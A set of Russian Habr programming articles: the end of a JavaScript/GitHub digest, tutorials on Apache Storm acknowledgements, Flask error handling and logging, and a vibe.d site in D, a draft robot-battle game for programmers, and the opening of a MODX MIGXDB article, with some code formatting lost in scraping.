[](https://github.com/daylerees/colour-schemes)
Репозиторий уже набрал более 4000 старов на GitHub. Автор проекта — Dayle Rees — один из участников команды Laravel PHP, где люди убеждены, что «код должен приносить удовольствие разработчикам, а не только пользователям, принимающим вашу трудную работу». Сolour Schemes на сегодняшний день это [56 различных тем](http://daylerees.github.io/) для: Sublime Text (2 & 3), Sublime Text UI (2 & 3), Textmate, Coda 2, VIM, Jetbrains Editors (inc. PHPStorm), Google Code Prettify, Highlight.js и Xcode.
#### [MixItUp](https://github.com/patrickkunka/mixitup)
[](https://mixitup.kunkalabs.com/docs/)
Крутой jQuery плагин для анимированной фильтрации и сортировки элементов. Выглядит все очень красиво. Для работы требуется лишь инициализировать скрипт и указать определенные data атрибуты:
```
$(function(){
$('#Container').mixItUp();
});
```
```
...
...
...
...
Category 1
Category 2
Ascending Order
Descending Order
```
Но это только базовый вариант использования. Сам плагин очень гибкий и функциональный. В нем есть несколько событий и ряд методов, о чем подробно написано в [документации](https://mixitup.kunkalabs.com/docs/).
#### [Leap.js](https://developer.leapmotion.com/leapjs/welcome)
Вы помните это замечательное устройство, чья история началась с Kickstarter и которое уже не раз упоминалось на Хабре? Leap Motion из гаджета перерос в целую технологию, которая по информации от некоторых источников будет внедряться в продукты разных производителей и уже скоро должна появиться в некоторых моделях ноутбуков Asus. А буквально недавно разработчики анонсировали LeapJS, библиотеку поддерживающую Leap Motion в браузере! Уверен, что в будущем это откроет совершенно новые представления о взаимодействии пользователя с вебом, а сейчас послужит увлекательным занятием для гиков, которые уже приобрели устройство.
#### [Popcorn App](https://github.com/popcorn-time/popcorn-app)
[](https://github.com/popcorn-time/popcorn-app)
Это репозиторий потрясающего Popcorn App, который написан на JavaScript. На Хабре [уже рассказывали](http://habrahabr.ru/post/215429/) об этом великолепном приложении. Люди говорили, что это был пиратский Netflix или iTunes. Да, именно был, потому что спустя 5 дней после релиза приложение закрыли, как сообщает [TechCrunch](http://techcrunch.com/2014/03/14/popcorn-time-is-dead/). На [главной странице](http://getpopcornti.me/) проекта прощальный текст «We started Popcorn Time as a challenge to ourselves. That's our motto. That's what we stand for».
А еще есть [Peerflix](https://github.com/mafintosh/peerflix) — streaming torrent client для Node.js
#### [Vizicities](https://github.com/robhawkes/vizicities)
Пожалуй, один из самых амбициозных OpenSource веб проектов. «Vizicities — это 3D города и платформа для визуализации данных, построенная на WebGL». Библиотек и ресурсов хватит на целый дайджест: OpenStreetMap — map data, Three.js, D3.js — конвертация географически координат, Underscore.js, Q — Promises, Throat — Limiting concurrency, Catiline – Web Workers, Dat.gui, FPSMeter, Moment.js, Simplify.js.
#### Аналоги Spritz
В рамках Mobile World Congress в Барселоне была представлена технология скорочтения [Spritz](http://www.spritzinc.com/). Суть довольно простая: при взгляде в одну точку и прокрутке текста, скорость чтения существенно возрастает по сравнению с тем, как вы обычно читаете, водя взглядом по строкам. Данный метод пришелся по вкусу большинству, а некоторые разработчики позаимствовали идею и подобные OpenSource проекты [OpenSpritz](https://github.com/Miserlou/OpenSpritz) или [Squirt](http://www.squirt.io/).
#### Напоследок:
* [MEAN.js](https://github.com/linnovate/mean) (Mongo, Express, Angular, Node) — a Simple, Scalable and Easy starting point for full stack javascript web developmen.
* [Olly.js](https://github.com/abeisgreat/Olly.js) — переводит URL в Rich Media (подобно тегу **video** на хабре). Возможно будет полезно для блогов, работает с множеством сервисов и форматов.
* [Gitignore](https://github.com/github/gitignore) — огромная коллекция .gitignore шаблонов.
* [scout\_realtime](https://github.com/scoutapp/scout_realtime) — realtime server metrics in your browser ([демо](http://scoutapp.github.io/scout_realtime/)).
* [Framework7](http://www.idangero.us/framework7/) — HTML/CSS фреймворк для создания приложений под iOS7.
* [rowGrid.js](https://github.com/brunjo/rowGrid.js) — очень удобный способ позиционирования элементов по рядам (jQuery).
* [Очень интересная анимация на чистом CSS](http://codepen.io/bleepbloop/pen/Kkdzq).
* [Psddiff](https://github.com/filp/psdiff) — скрипт, с помощью которого Git «магическим образом» рендерит .PSD и визуализирует изменения.
[**Предыдущая подборка (Выпуск 12)**](http://habrahabr.ru/post/214319/)
Приношу извинения за возможные опечатки. Если вы заметили проблему — напишите, пожалуйста, в личку. | https://habr.com/ru/post/215937/ | null | ru | null |
# Изучаем Storm Framework. Часть II
В [первой части](http://habrahabr.ru/post/186208/) рассматривались базовые понятия Storm.
Разные классы задач предъявляют различные требования к надежности. Одно дело пропустить пару записей при подсчете статистики посещений, где счет идет на сотни тысяч и особая точность не нужна. И совсем другое — потерять, например, информацию о платеже клиента.
Далее рассмотрим о механизмы защиты от потери данных, которые реализованы в Storm.
Базовый пример
--------------
#### Spout
Если нам не важно были ли ошибки при обработке Tuple, то Spout отправляет Tuple в SpoutOutputCollector посредством вызова метода [emit(new Values(...))](https://github.com/scanban/stormex/blob/master/src/main/java/examples/storm/CdrSpout.java#L45).
Eсли мы хотим узнать успешно ли обработался Tuple, то вызов будет выглядеть как emit(new Values(...), msgId), где msgId это объект произвольного класса. В этом случае интерфейс [ISpout](http://nathanmarz.github.io/storm/doc/backtype/storm/spout/ISpout.html) предоставляет методы:
* [ack(Object msgId)](http://nathanmarz.github.io/storm/doc/backtype/storm/spout/ISpout.html#ack(java.lang.Object)) — будет вызван если Tuple обработан
* [fail(Object msgId)](http://nathanmarz.github.io/storm/doc/backtype/storm/spout/ISpout.html#fail(java.lang.Object)) — будет вызван если Tuple не обработан
где msgId — это msgId с которым был вызван [SpoutOutputCollector.emit](http://nathanmarz.github.io/storm/doc/backtype/storm/spout/SpoutOutputCollector.html#emit(java.util.List, java.lang.Object)).
Пример [FailAwareSpout](https://github.com/scanban/stormex/blob/master/src/main/java/examples/faults/FailAwareSpout.java):
```
public class FailAwareSpout extends BaseRichSpout {
private Message[] messages;
// Skipped ...
private static class Message implements Serializable {
private String message;
private int failCount;
private Message(String message) {
this.message = message;
}
}
// Skipped ...
@Override
public void nextTuple() {
// Skipped ...
// Отправляем Tuple c msgId
outputCollector.emit(new Values(messages[messageId].message), messageId);
}
// Tuple обработан нормально
@Override
public void ack(Object msgId) {
Message m = messages[(Integer) msgId];
System.out.println("IN>> [" + Thread.currentThread().getId() + "] message " +
m.message + " processed successfully");
}
// Tuple не обработан
@Override
public void fail(Object msgId) {
Message m = messages[(Integer) msgId];
if(++m.failCount > MAX_RETRY_COUNT) {
throw new IllegalStateException("Too many message processing errors");
}
System.out.println("IN>> [" + Thread.currentThread().getId() + "] message " +
m.message + " processing failed " + "[" + m.failCount + "]");
// Вставляем в очередь на повторную обработку
sendQueue.addLast((Integer) msgId);
}
}
```
*Методы nextTuple, ack и fail, вызываются в одном потоке и не требуют дополнительной синхронизации при обращении к полям Spout.*
#### Bolt
Для того что бы Bolt мог информировать Storm о результатах обработки, он должен реализовывать интерфейс [IRichBolt](http://nathanmarz.github.io/storm/doc/backtype/storm/topology/IRichBolt.html). Проще всего это сделать унаследовав класс [BaseRichBolt](http://nathanmarz.github.io/storm/doc/backtype/storm/topology/base/BaseRichBolt.html).
Bolt информирует Storm o результатах своей работы посредством вызова следующих методов класса OutputCollector в методе [execute(Tuple)](http://nathanmarz.github.io/storm/doc/backtype/storm/task/IBolt.html#execute(backtype.storm.tuple.Tuple)):
* [ack(Tuple)](http://nathanmarz.github.io/storm/doc/backtype/storm/task/OutputCollector.html#ack(backtype.storm.tuple.Tuple)) — обработка прошла успешно
* [fail(Tuple)](http://nathanmarz.github.io/storm/doc/backtype/storm/task/OutputCollector.html#fail(backtype.storm.tuple.Tuple)) — обработка завершилась с ошибкой
Пример [FailingBolt](https://github.com/scanban/stormex/blob/master/src/main/java/examples/faults/FailingBolt.java):
```
public class FailingBolt extends BaseRichBolt {
OutputCollector outputCollector;
// Skipped ...
@Override
public void execute(Tuple tuple) {
// Skipped ...
outputCollector.ack(tuple); // Данные успешно обработаны
}
else {
// Skipped ...
outputCollector.fail(tuple); // Обработка завершилась с ошибкой
}
}
// Skipped ...
}
```
Пример использования: [BasicFailApp](https://github.com/scanban/stormex/blob/master/src/main/java/examples/BasicFailApp.java), Spout [FailAwareSpout](https://github.com/scanban/stormex/blob/master/src/main/java/examples/faults/FailAwareSpout.java) и Bolt [FailingBolt](https://github.com/scanban/stormex/blob/master/src/main/java/examples/faults/FailingBolt.java) случайным образом генерирующий ошибки обработки.
В Bolt'ах унаследованных от класса [BaseBasicBolt](http://nathanmarz.github.io/storm/doc/backtype/storm/topology/base/BaseBasicBolt.html), [ack(Tuple)](http://nathanmarz.github.io/storm/doc/backtype/storm/task/OutputCollector.html#ack(backtype.storm.tuple.Tuple)) вызывается после выхода из метода [execute](http://nathanmarz.github.io/storm/doc/backtype/storm/topology/IBasicBolt.html#execute(backtype.storm.tuple.Tuple, backtype.storm.topology.BasicOutputCollector)) автоматически.
Anchoring
---------
При обработке входного Tuple, Bolt может генерировать более одного выходного Tuple. Если Bolt вызвал [emit(sourceTuple, resultTuple)](http://nathanmarz.github.io/storm/doc/backtype/storm/task/OutputCollector.html#emit(java.util.Collection, java.util.List)) то образуется [DAG](http://ru.wikipedia.org/wiki/%D0%9D%D0%B0%D0%BF%D1%80%D0%B0%D0%B2%D0%BB%D0%B5%D0%BD%D0%BD%D1%8B%D0%B9_%D0%B0%D1%86%D0%B8%D0%BA%D0%BB%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B9_%D0%B3%D1%80%D0%B0%D1%84) с вершиной в виде исходного Tuple и потомками в виде порожденных Tuple. Storm отслеживает ошибки процессинга всех узлов графа. В случае возникновения ошибки на любом уровне иерархии, Spout, породивший исходный Tuple, будет уведомлен вызовом fail. Пример [MultiplierBolt](https://github.com/scanban/stormex/blob/master/src/main/java/examples/faults/MultiplierBolt.java):
```
public class MultiplierBolt extends BaseRichBolt {
// Skipped ...
@Override
public void execute(Tuple tuple) {
// Генерируем несколько исходящих Tuple из одного входящего
for(int i = 0; i < MULTI_COUNT; ++i) {
// Anchoring, привязываем исходящие Tuple к входящему
outputCollector.emit(tuple, new Values(tuple.getString(0) + " - " + i));
}
outputCollector.ack(tuple);
}
// Skipped ...
}
```
Пример использования Anchoring: [TreeFailApp](https://github.com/scanban/stormex/blob/master/src/main/java/examples/TreeFailApp.java)
В Bolt'ах унаследованных от класса [BaseBasicBolt](http://nathanmarz.github.io/storm/doc/backtype/storm/topology/base/BaseBasicBolt.html) метод [execute(Tuple, BasicOutputCollector)](http://nathanmarz.github.io/storm/doc/backtype/storm/topology/IBasicBolt.html#execute(backtype.storm.tuple.Tuple, backtype.storm.topology.BasicOutputCollector)) вызывается с коллектором [BasicOutputCollector](http://nathanmarz.github.io/storm/doc/backtype/storm/topology/BasicOutputCollector.html). Особенность BasicOutputCollector в том, что он автоматически делает Anchor на входной Tuple при [emit](http://nathanmarz.github.io/storm/doc/backtype/storm/topology/BasicOutputCollector.html#emit(java.util.List)).
Поскольку Storm является распределенной системой, Tuple могут передаваться с одного узла кластера на другой. В связи с этим Storm обеспечивает отслеживание таймаутов обработки. По умолчанию, весь граф должен быть обработан за 30 секунд, или Storm вызовет метод fail у породившего граф Spout'а. Таймаут можно [изменить](http://nathanmarz.github.io/storm/doc/backtype/storm/Config.html#TOPOLOGY_MESSAGE_TIMEOUT_SECS).
Код доступен на [GitHub](https://github.com/scanban/stormex).
Следующая часть будет посвящена Transactional Topologies, использующихся в связке с транзакционными источниками данных.
**UPD.** Опубликована [заключительная часть](http://habrahabr.ru/post/186634/) статьи. | https://habr.com/ru/post/186436/ | null | ru | null |
# ХабраВойны — python-robots
[Драфт течпревью](http://code.google.com/p/python-robots/source/browse/) игры для программистов. (очень грязный, опубликовал, чтобы собрать мнения и замечания, не минусуйте сильно, пожалуйста) По мотивам
[habrahabr.ru/blogs/sport\_programming/74536](http://habrahabr.ru/blogs/sport_programming/74536/)
и
[habrahabr.ru/blogs/sport\_programming/74523](http://habrahabr.ru/blogs/sport_programming/74523)
Готов в общем-то движок. Игра пошаговая, интерфейс к программам-игрокам — STDIN STDOUT, т.е. можно использовать любые языки программирования (хоть brainfuck, если он ввод-вывод поддерживает.)
Будет гуй-тестер на wxPython (Linux/Windows/OSX) и сайт с возможностью загрузки своих скриптов или бинарников, развернутой системой рейтинга игроков (в т.ч. по времени выполнения кода). Планируются коммандные бои и sdk для нескольких языков.
Все (включая сайт) будет под GPL и некоммерческим.
Приглашаются дезагнеры и флешеры
**PS**. Строго не судите, написанно absolute бегиннером буквально за ночь, под влиянием обсуждения на хабре. Лучше поддержите советом и коммитом
**Update:** Написал [рабочее описание формата ввода/вывода](http://code.google.com/p/python-robots/wiki/RulesForGamers) программ-игроков
**UPD** [Тут](http://code.google.com/p/python-robots/source/browse/#hg/python-sdk) лежит примерное недоделаное сдк, код бота на питоне будет вроде такого:
> `Copy Source | Copy HTML1. #!/usr/bin/python
> 2. """Sample game bot for python-robots"""
> 3. import pyr-sdk
> 4.
> 5.
> 6. class DumbBoot(pyr-sdk.Pobot):
> 7. def main(self):
> 8. """Main cyclic function: :))"""
> 9. for enemyrobot in **self**.robots:
> 10. if **self**.GetDistToRobot(enemyrobot)<4:
> 11. **self**.FireToRobot(enemyrobot)
> 12. if **self**.energy<50:
> 13. **self**.KillYMySelf()
> 14. if not **self**.isWallAhead():
> 15. **self**.Go()
> 16. else:
> 17. **self**.Left()
> 18.
> 19. ###########common part
> 20. **self**.reloading()
> 21.
> 22. def start(self):
> 23. """some code which run once"""
> 24. pass
> 25.
> 26. if \_\_name\_\_=="\_\_main\_\_":
> 27. darvin\_small\_metal\_guy = DumbBoot()
> 28.` | https://habr.com/ru/post/74550/ | null | ru | null |
# Мега-Учебник Flask, Часть 7: Unit-тестирование
Это седьмая статья в серии, где я описываю свой опыт написания веб-приложения на Python с использованием микрофреймворка Flask.
Цель данного руководства — разработать довольно функциональное приложение-микроблог, которое я за полным отсутствием оригинальности решил назвать microblog.
**Оглавление** [Часть 2: Шаблоны](http://habrahabr.ru/post/193260/)
[Часть 3: Формы](http://habrahabr.ru/post/194062/)
[Часть 4: База данных](http://habrahabr.ru/post/196810/)
[Часть 5: Вход пользователей](http://habrahabr.ru/post/222983/)
[Часть 6: Страница профиля и аватары](http://habrahabr.ru/post/223375/)
[Часть 7: Unit-тестирование](http://habrahabr.ru/post/223783/) *(данная статья)*
[Часть 8: Подписчики, контакты и друзья](http://habrahabr.ru/post/230643/)
[Часть 9: Пагинация](http://habrahabr.ru/post/230897/)
[Часть 10: Полнотекстовый поиск](http://habrahabr.ru/post/234613/)
[Часть 11: Поддержка e-mail](http://habrahabr.ru/post/234737/)
[Часть 12: Реконструкция](http://habrahabr.ru/post/234785/)
[Часть 13: Дата и время](http://habrahabr.ru/post/236753/)
[Часть 14: I18n and L10n](http://habrahabr.ru/post/236861/)
[Часть 15: Ajax](http://habrahabr.ru/post/237065/)
[Часть 16: Отладка, тестирование и профилирование](http://habrahabr.ru/post/237317/)
[Часть 17: Развертывание на Linux (и даже на Raspberry Pi!)](http://habrahabr.ru/post/237489/)
[Часть 18: Развертывание на Heroku Cloud](http://habrahabr.ru/post/237517/)
#### Краткое повторение
В предыдущих частях этого руководства мы постепенно развивали наш микроблог, шаг за шагом добавляя новые возможности. К этому времени наше приложение умеет использовать базу данных, может регистрировать и авторизовывать пользователей, а также позволяет им редактировать собственные данные в профиле.
Сегодня мы не будем добавлять новых возможностей. Вместо этого мы постараемся сделать уже написанный код более устойчивым, а также создадим свой фреймворк, который в будущем поможет нам предотвратить возможные сбои.
#### Поиски бага
В конце предыдущей главы я упомянул, что в коде присутствует ошибка. Сейчас я расскажу в чем она заключается и мы увидим, как наше приложение реагирует на подобные вещи.
Проблема заключается в том, что у нас нет никакой возможности обеспечить уникальность ников пользователей. Первоначальный ник выбирается автоматически. Если провайдер OpenID сообщает нам ник, мы используем его. В противном случае в качестве ника будет использована первая часть email пользователя. Если два пользователя с одинаковыми никами попробуют зарегистрироваться, это удастся только первому. Позволив пользователям самостоятельно изменять свои данные, мы сделали только хуже, ведь здесь у нас также нет никакой возможности избегать коллизий.
Прежде, чем мы решим эти проблемы, давайте взглянем на то, как ведёт себя приложение, когда происходит ошибка.
#### Отладка во Flask
Прежде всего создадим новую базу данных. Если у вас Linux:
```
rm app.db
./db_create.py
```
Windows:
```
del app.db
flask/Scripts/python db_create.py
```
Вам понадобятся два OpenID аккаунта для воспроизведения бага, лучше, если эти аккаунты будут от разных провайдеров, иначе могут быть некоторые сложности с cookies. Итак, порядок действий таков:
* Залогиньтесь, используя первый аккаунт.
* На странице редактирования профиля измените ник на 'dup'
* Выйдите из системы
* Зайдите с помощью второго аккаунта
* На странице редактирования профиля измените ник на 'dup'
Упс! Мы получили исключение, вызванное sqlalchemy. Текст ошибки гласит:
```
sqlalchemy.exc.IntegrityError
IntegrityError: (IntegrityError) UNIQUE constraint failed: user.nickname u'UPDATE user SET nickname=?, about_me=? WHERE user.id = ?' (u'dup', u'', 2)
```
Ниже находится [трассировка стека](http://en.wikipedia.org/wiki/Stack_trace) этой ошибки, в которой можно не только посмотреть исходный код каждого фрейма, но даже выполнять свой код прямо в браузере!
Описание ошибки весьма однозначно. Ник, который мы пытались присвоить пользователю, уже содержится в базе данных. Обратите внимание, что в модели `User` поле `nickname` объявлено как `unique=True`, именно поэтому возникла такая ситуация.
В дополнение к этой ошибке у нас есть еще одна проблема. Если действия пользователя приводят к ошибке (этой или любой другой), он увидит описание ошибки и весь трейсбэк. Это очень удобно во время разработки, но мы точно не хотели бы, чтобы кто-нибудь кроме нас это видел.
Всё это время наше приложение работало в режиме отдалки. Этот режим активируется при запуске, с помощью аргумента `debug=True`, переданного методу `run`. Когда мы будем запускать приложение на боевом сервере, необходимо будет убедиться, что режим отладки выключен. Для этого нам пригодится еще один скрипт *(файл `runp.py`)*:
```
#!flask/bin/python
from app import app
app.run(debug = False)
```
Теперь запустим приложение с помощью этого скрипта
```
./runp.py
```
Попробуйте еще раз сменить ник второго аккаунта на 'dup'. В этот раз мы не увидим подробного сообщения об ошибке. Вместо этого мы получим HTTP ошибку с кодом `500 Internal Server Error`. Эту страницу Flask генерирует, когда режим отладки выключен и при этом происходит исключительная ситуация. Страница выглядит так себе, но мы хотя бы не раскрываем лишних подробностей о приложении.
Тем не менее, перед нами стоит еще две задачи. Во-первых, по умолчанию страница ошибки 500 выглядит уродливо. Вторая проблема гораздо более серьезная. Если всё оставить как есть, мы никогда не узнаем как и когда возникают ошибки, так как все ошибки теперь замалчиваются. К счастью, у этих проблем есть весьма простые решения.
#### Собственные обработчики ошибок HTTP
Flask позволяет приложениям использовать свои собственные страницы для отображения ошибок. В качестве примера реализуем свои страницы для ошибок 404 и 500, так как они наиболее часто встречаются. Для других ошибок процесс создания собственных страниц будет точно таким же.
Чтобы объявить собственный обработчик ошибок, нам понадобится декоратор `errorhandler` *(файл `app/views.py`)*:
```
@app.errorhandler(404)
def not_found_error(error):
return render_template('404.html'), 404
@app.errorhandler(500)
def internal_error(error):
db.session.rollback()
return render_template('500.html'), 500
```
Не думаю, что этот код нуждается в разъяснениях. Единственное выражение, заслуживающее внимания здесь — `db.session.rollback()`. Эта функция будет вызываться в результате исключения. Если исключение было вызвано ошибкой взаимодействия с базой данных, нам необходимо откатить текущую сессию.
Шаблон для ошибки 404:
```
{% extends "base.html" %}
{% block content %}
File Not Found
==============
[Back]({{url_for('index')}})
{% endblock %}
```
А также шаблон для ошибки 500:
```
{% extends "base.html" %}
{% block content %}
An unexpected error has occurred
================================
The administrator has been notified. Sorry for the inconvenience!
[Back]({{url_for('index')}})
{% endblock %}
```
В обоих случаях мы по прежнему используем в качестве родительского шаблона `base.html`, в результате чего оба сообщения о HTTP ошибках выглядят в одном стиле с остальными страницами нашего микроблога.
#### Отправка сообщений об ошибках на почту
Для решения второй проблемы мы настроим две системы отчетов об ошибках приложения. Первая из них будет отправлять нам на почту письмо каждый раз, когда происходит ошибка.
Прежде всего нам необходимо настроить почтовый сервер и список администраторов нашего приложения. *(файл `config.py`)*:
```
# mail server settings
MAIL_SERVER = 'localhost'
MAIL_PORT = 25
MAIL_USERNAME = None
MAIL_PASSWORD = None
# administrator list
ADMINS = ['you@example.com']
```
Само собой, вам нужно изменить эти значения.
Flask использует модуль `logging` из стандартной библиотеки Python, поэтому настроить отправку на почту сообщений об ошибках будет довольно просто *(файл `app/__init__.py`)*:
```
from config import basedir, ADMINS, MAIL_SERVER, MAIL_PORT, MAIL_USERNAME, MAIL_PASSWORD
if not app.debug:
import logging
from logging.handlers import SMTPHandler
credentials = None
if MAIL_USERNAME or MAIL_PASSWORD:
credentials = (MAIL_USERNAME, MAIL_PASSWORD)
mail_handler = SMTPHandler((MAIL_SERVER, MAIL_PORT), 'no-reply@' + MAIL_SERVER, ADMINS, 'microblog failure', credentials)
mail_handler.setLevel(logging.ERROR)
app.logger.addHandler(mail_handler)
```
Мы будем отправлять эти письма только в том случае, если выключен режим отладки. Ничего страшного, если у вас нет настроенного почтового сервера. Для наших целей вполне подойдёт отладочный сервер SMTP, который нам предоставляет Python. Чтобы запустить его, введите в консоли (или в командной строке, если вы пользователь Windows):
```
python -m smtpd -n -c DebuggingServer localhost:25
```
После этого, все письма, отправленные приложением будут перехватываться и отображаться прямо в консоли. *(Прим.пер. Вы также можете воспользоваться крайне удобным SMTP сервером, не требующим специальных знаний для настройки — [Mailcatcher](http://mailcatcher.me/). Этот способ значительно удобнее, но при этом требует установки Ruby.)*
#### Запись лога в файл
Получение сообщений об ошибках на почту — это здорово, но иногда этого не достаточно. В некоторых случаях нам необходимо будет получить более подробную информацию, чем та, что есть в трейсбэке, и тогда нам пригодится возможность ведения лог-файла.
Процесс настройки очень похож на то, что мы только что делали для почты *(файл `app/__init__.py`)*:
```
if not app.debug:
import logging
from logging.handlers import RotatingFileHandler
file_handler = RotatingFileHandler('tmp/microblog.log', 'a', 1 * 1024 * 1024, 10)
file_handler.setFormatter(logging.Formatter('%(asctime)s %(levelname)s: %(message)s [in %(pathname)s:%(lineno)d]'))
app.logger.setLevel(logging.INFO)
file_handler.setLevel(logging.INFO)
app.logger.addHandler(file_handler)
app.logger.info('microblog startup')
```
Лог будет сохраняться в папке `tmp` под именем `microblog.log`. Мы использовали `RotatingFileHandler`, что позволяет установить лимит на количество хранимых данных. В нашем случае размер файла ограничен одним мегабайтом, при этом сохраняются последние десять файлов.
Класс `logging.Formatter` предоставляет возможность задавать произвольный формат записей в логе. Так как мы хотим получать как можно более подробную информацию, мы будем сохранять само сообщение, [timestamp](http://ru.wikipedia.org/wiki/Timestamp), статус записи, а также имя файла и номер строки, откуда была инициирована запись.
Чтобы сделать лог более полезным, мы снижаем уровень логгирования как в `app.logger`, так и в `file_handler`, это позволит нам записывать не только ошибки, но и другую информацию, которая может оказаться полезной. К примеру, мы будем записывать время запуска приложения. Теперь каждый раз, когда микроблог будет запущен без режима отладки, в лог будет сохраняться это событие.
В настоящее время у нас нет потребности в использовании, однако, если наше приложение будет работать на удалённом веб-сервере, диагностика и отладка будут затруднены. Именно поэтому стоит заранее позаботиться о том, чтобы получать нужную нам информацию без остановки сервера.
#### Исправление ошибок
Итак, давайте наконец исправим баг с одинаковыми никнеймами.
Как было сказано ранее, у нас есть два проблемных места, где отсутствует проверка дубликатов. Первое — в обработчике `after_login`, который вызывается когда пользователь авторизуется в системе и нам нужно создать новый объект User. Вот, что мы можем сделать, чтобы избавиться от проблемы: *(файл `app/views.py`)*:
```
if user is None:
nickname = resp.nickname
if nickname is None or nickname == "":
nickname = resp.email.split('@')[0]
nickname = User.make_unique_nickname(nickname)
user = User(nickname = nickname, email = resp.email, role = ROLE_USER)
db.session.add(user)
db.session.commit()
```
Наше решение заключается в том, чтобы поручить классу User создание уникального ника. Вот как это реализуется *(файл `app/models.py`)*:
```
class User(db.Model):
# ...
@staticmethod
def make_unique_nickname(nickname):
if User.query.filter_by(nickname = nickname).first() == None:
return nickname
version = 2
while True:
new_nickname = nickname + str(version)
if User.query.filter_by(nickname = new_nickname).first() == None:
break
version += 1
return new_nickname
# ...
```
Этот метод просто добавляет счетчик к нику, пока он не станет уникальным. Например, если пользователь «miguel» уже существует, в методе будет предложен вариант «miguel2», затем, если и такой пользователь есть, «miguel3» и так далее. Обратите внимание на декоратор [staticmethod](http://docs.python.org/library/functions.html#staticmethod), мы применили его, так как эта операция не привязана к конкретному инстансу класса.
Второе место, где проблема дубликатов по прежнему актуальна — страница редактирования профиля. В этом случае всё несколько усложняется тем, что пользователь сам выбирает свой ник. Лучшим решением в данном случае будет проверка на уникальность и в случае неудачи предложение выбрать другой ник. Для этого нам понадобится добавить еще один валидатор для соответствующего поля. Если пользователь введёт существующий ник, форма просто не пройдет валидацию. Чтобы добавить свой валидатор, необходимо перегрузить метод `validate` *(файл `app/forms.py`)*:
```
from app.models import User
class EditForm(Form):
nickname = TextField('nickname', validators = [Required()])
about_me = TextAreaField('about_me', validators = [Length(min = 0, max = 140)])
def __init__(self, original_nickname, *args, **kwargs):
Form.__init__(self, *args, **kwargs)
self.original_nickname = original_nickname
def validate(self):
if not Form.validate(self):
return False
if self.nickname.data == self.original_nickname:
return True
user = User.query.filter_by(nickname = self.nickname.data).first()
if user != None:
self.nickname.errors.append('This nickname is already in use. Please choose another one.')
return False
return True
```
Конструктор формы теперь принимает новый аргумент — `original_nickname`. Метод `validate` использует его для того, чтобы определить — изменился ник или нет. Если изменился, проводим проверку на уникальность.
Проинициализируем форму новым аргументом:
```
@app.route('/edit', methods = ['GET', 'POST'])
@login_required
def edit():
form = EditForm(g.user.nickname)
# ...
```
Также нам нужно выводить все ошибки, возникающие при валидации формы, рядом с полем, в котором обнаружена ошибка. *(файл `app/templates/edit.html`)*:
```
Your nickname: |
{{form.nickname(size = 24)}}
{% for error in form.errors.nickname %}
[{{error}}]
{% endfor %}
|
``` | https://habr.com/ru/post/223783/ | null | ru | null |
# Простой сайт на D
На хабре уже упоминался язык D. Но популярности он не получил из-за невозможности практического использования, а точнее большинству он просто не нужен.Сегодня хочу рассказать вам об одном полезном фреймворке для D. Большинство программистов хоть раз писали веб-сервер на компилируемом языке, но эти языки слишком низкоуровневы для такой задачи. Для такой задачи можно использовать этот язык в связке с фреймворком vibe.d;
Установка dmd и vibe.d достаточна проста. При установке фреймворка под windows не забудьте прописать нужные пути в PATH
Для начала создадим проект.
`vibe init project_name`
Фреймворк сам создаст нужную структуру(3 папки и манифест)
./views — шаблоны
./public — статичные файлы, аля \*.css,\*.js
./src — исходный код приложения
```
//app.d
import vibe.d;
import std.stdio;
import std.string;
import std.file;
import std.array;
// Подключаем нужны библиотеки
void image (HTTPServerRequest req, HTTPServerResponse res)
{
auto file = format("./public/images/%s", req.params["f"]);
if(exists(file))
{
auto image = cast(ubyte[]) read(file);
res.writeBody(image,"image");
}
else
{
res.writeBody("Not Found","text/plain");
}
}
// Создаем обработчика , который будет отдавать изображения
void style (HTTPServerRequest req, HTTPServerResponse res)
{
auto css = readText(format("./public/styles/%s", req.params["f"]));
res.writeBody(css,"text/css");
}
// Создаем обработчика , который будет CSS
void error(HTTPServerRequest req, HTTPServerResponse res, HTTPServerErrorInfo error)
{
res.writeBody("Some error, man","text/plain");
}
// Создаем обработчика ошибок
void index_req(HTTPServerRequest req, HTTPServerResponse res)
{
auto request = req.params["r"];
// Получаем текст запроса
res.renderCompat!("index.dt", HTTPServerRequest, "req",string,"title")(req,request);
// Рендерим шаблон с передачей в него шаблона.
}
void index(HTTPServerRequest req, HTTPServerResponse res)
{
res.renderCompat!("index.dt", HTTPServerRequest, "req",string,"title")(req,"Main page");
// Рендерим шаблон с передачей в него шаблона.
}
// Создаем обработчика , который будет отдавать главную страницу со всякими плюшками.
shared static this()
{
auto settings = new HttpServerSettings;
settings.port = 8080;
// Подняли http сервер на порту 8080
//settings.errorPageHandler = toDelegate(&error);
// Подключили обработчик ошибок
// Создаем экземляр роутера(он выбирает на какой обработчик отправить тот или иной запрос)
auto router = new URLRouter;
router.get("/:r",&index_req);
router.get("/",&index);
router.get("/style/:f",&style);
router.get("/images/:f",ℑ);
//Добавили пару обработчиков
listenHTTP(settings,router);
//Запустили сервер
}
```
В vibe есть неплохой шаблонизатор, немного спорный, но неплохой. Основан на шаблонизаторе JADE. CSS подключается в зависимости от обработчика, но стили желательно держать в папке public.Файлы шаблонов же следует держать в views.
```
!!! 5
html
head
title Hi world
meta(charset="utf-8")
link(rel="stylesheet",href="/style/main.css")
body
div#menu
a#logo(href="/")
div.links
a(href="/main")Main page
a(href="/about")About
a(href="/some")Some
div#content
div.article
h3 #{title}
p Sorry,not founded
```
Неоспоримый плюс vibed — это работа с проектами. Очень удобно работать из консоли, создание, компиляция и дебаг проекта. Себе наделал пару скриптов для Notepad++.
`vibe build`
Сборка проекта(разумеется в папке проекта).
После компиляции создается исполняемый файл, подключаются нужные библиотеки. Еще один плюс этого фреймворка — Батарейки в комплекте. Библиотек реально хватает для всего. При том, это не только написание cgi приложений, это полноценный асинхроный сервер. С развитием проекта предполагается развитие балансировщика нагрузки(если правильно понял).
Плюсы: Скорость, Относительная простота, Низкий порог вхождения, Большая комплектация, Гибкость(работает не только с http, но и напрямую с tcp)
Минусы: Сырость проекта и языка, маленькое сообщество
В целом фреймворк вполне неплох и удобен. В сочетании с удобным языком думаю появится новый конкурент GO,node.js. | https://habr.com/ru/post/181548/ | null | ru | null |
# Групповое редактирование ресурсов (документов) с помощью MIGXDB
Не устаю удивляться возможностям, которые предоставляет компонент [MIGX](http://modx.com/extras/package/migx) от [Bruno17](https://github.com/Bruno17) для **MODX Revolution**. Выглядит он пока неказисто и встречаются ошибочки, но критических проблем нет. Всё, что написано в этой статье, актуально для MIGX версии **2.5.8-pl** (последняя на данный момент).
